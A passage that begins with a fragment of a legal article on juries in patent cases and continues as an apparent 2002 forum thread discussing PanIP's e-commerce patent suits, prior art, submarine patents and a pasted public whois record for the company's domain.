dissenting opinion also accompanied this judgment. n300 Judge Nies dissented from the majority opinion because he found that patent rights are public rights, n301 and, thus, not subject to the Seventh Amendment guarantee. n302 Judge Nies also rejected the application of the "historical test" n303 by the majority, reasoning that the majority had modified the test by changing [*675] the conjunction between the two halves of the two-part test from an "and" to an "or." n304 Judge Nies also recognized the growing conflict between the circuit courts regarding the application of traditional jury practice in patent litigation and ultimately concluded that juries should not be employed in patent cases. n305 After the Federal Circuit rendered its judgment, American Airlines appealed to the Supreme Court. n306 Granting certiorari in the case, the Supreme Court vacated the judgment of the Federal Circuit and remanded the case. n307 The Court again reaffirmed its trend to restrict the right to trial by jury in patent litigation. n308 Currently, the case remains pending reconsideration by the Federal Circuit in accordance with the decision of the Supreme Court. n309 Therefore, the Supreme Court in both Markman n310 and Lockwood n311 not only confirmed a reluctance by the judiciary to maintain the current role of the jury in patent cases, but also revealed a willingness to narrow further its scope. n312

Loophole?

[serutan]

Maybe this is the answer. In their automated sales system patent, PanIP makes the following claim:

"Organizational hierarchies of data sources are arranged so that an infinite number of sales presentation configurations can be created."

Can your e-commerce system generate an INFINITE number of sales configurations?? I can't think of any kind of database that would infringe on this patent, unless maybe Zaphod Beeblebrox invented it.

Re:Loophole?

[Lonath]

Hey, you're right. That's impossible. They should ask for a reexamination, like they do with compression patents that compress totally random data. I don't think you're allowed to patent something that's impossible to make... :)

Continuation in part?

[Bazzargh]

Anyone else read the complaint? It has the patents attached. The interesting thing is the statement of origin of these patents. There is a paragraph reading "This is a continuation in part of the failed application XXXXXX in 1992, which was a continuation in part of application YYYYY in 1988, now US Patent No ZZZZ, which was a continuation in part...."
And so on, back to the early 1980s, with some patents being granted on the way.

IANAL, but doesnt this make PanIP's case somewhat stronger (in yet another disgusting way)? It appears to be a submarine patent like the US filing of the BT one - it keeps getting changed for years and years until it becomes financially interesting to get it approved, the filing is so long ago that noone has a hope of prior art (even though the original filing was for something completely different)

-Baz

Much older than that

[Betcour]

The French Minitel was used for ecommerce and online banking in the middle of the 80s. Finding an article in the press about it should be pretty easy.

Hoax??

[robstercraws]

I'm sincerely wondering if this is a hoax. As of 8:44 am EST 05/14/2002, the PanIP webpage has a ton of bad links. The Legal Disclaimer is 404, and so is the Company Background, Company Information, Patents Granted, one of the patent links, Choosing a Stock Portfolio, and A Case for Patent Citation Analysis in Litigation (huh??).

Furthermore, the site looks like it was done by an elementary school student.

If it is a hoax, maybe it was done in the spirit of the "humouse" we heard about on slashdot earlier this week.

Write your Congressman

[Lonath]

And tell him/her how many jobs will be lost if these extortionists get away with pounding you into the ground. You're just trying to have a business that brings lots of jobs for good hardworking people to the district, and then one of these leeches comes along and tries to trip you up. Also, point out that they could go after any number of other businesses in the district, as well. Does the congressman want all of the businesses in his district to pay blackmail to leeches? Nope, then fix the law.

Re:patent # 5,576,951

[Skapare]

It also says microprocessor. So put your site on an IBM zSeries mainframe running Linux :-)

Some help for the rest of us.

[IIR]

It is worth checking out:

http://www.chillingeffects.org/

It's an organisation set up by the EFF and Harvard, Stanford, Berkeley, and University of San Francisco law school clinics. It proffers some help on matters such as these.

Judin & Antonious cases

[Deven]

Sounds interesting...got some linkage you could share to elaborate?

After some searching on Google, it looks like he's probably referring to these cases, both of which involve attorneys filing patent infringement lawsuits without adequately investigating the infringement claims first:

Judin v. United States (1997)
Antonious v. Spalding (2002)

Here is there whois data

[doublem]

E. D. G. E., Inc.
P. O. Box 712911
San Diego, California 92171
US
Domain Name: PANIP.COM
Administrative Contact:
Hosting Customer info@edgeinc.org
E. D. G. E., Inc. Hosting
P. O. Box 712911
San Diego, California 92171-2911
US
Phone: 800.695.1651
Fax: 619.839.3860
Technical Contact:
Hosting Customer info@edgeinc.org
E. D. G. E., Inc. Hosting
P. O. Box 712911
San Diego, California 92171-2911
US
Phone: 800.695.1651
Fax: 619.839.3860
Record updated on 2002-02-06 19:54:29.
Record created on 2000-03-06.
Record expires on 2004-03-06.
Database last updated on 2002-05-14 13:49:20 EST.
Domain servers in listed order:
NS.EUR.MKSECURE.COM 213.130.162.14
NS.NYC.MKSECURE.COM 216.82.175.10
NS.SAT.MKSECURE.COM 209.61.158.220
Register your domain name at http://www.bulkregister.com

An Investment oppertunity

[ThePilgrim]

Would any one like to invest in my new company.

The sole asset will be the following patent.

A method for protecting Interlectual Property (IP) by means of a centeralised body to ovesee the registration and search for 'pria art' that may invalidate said IP.

Initial investment will go towards astablishing said patent.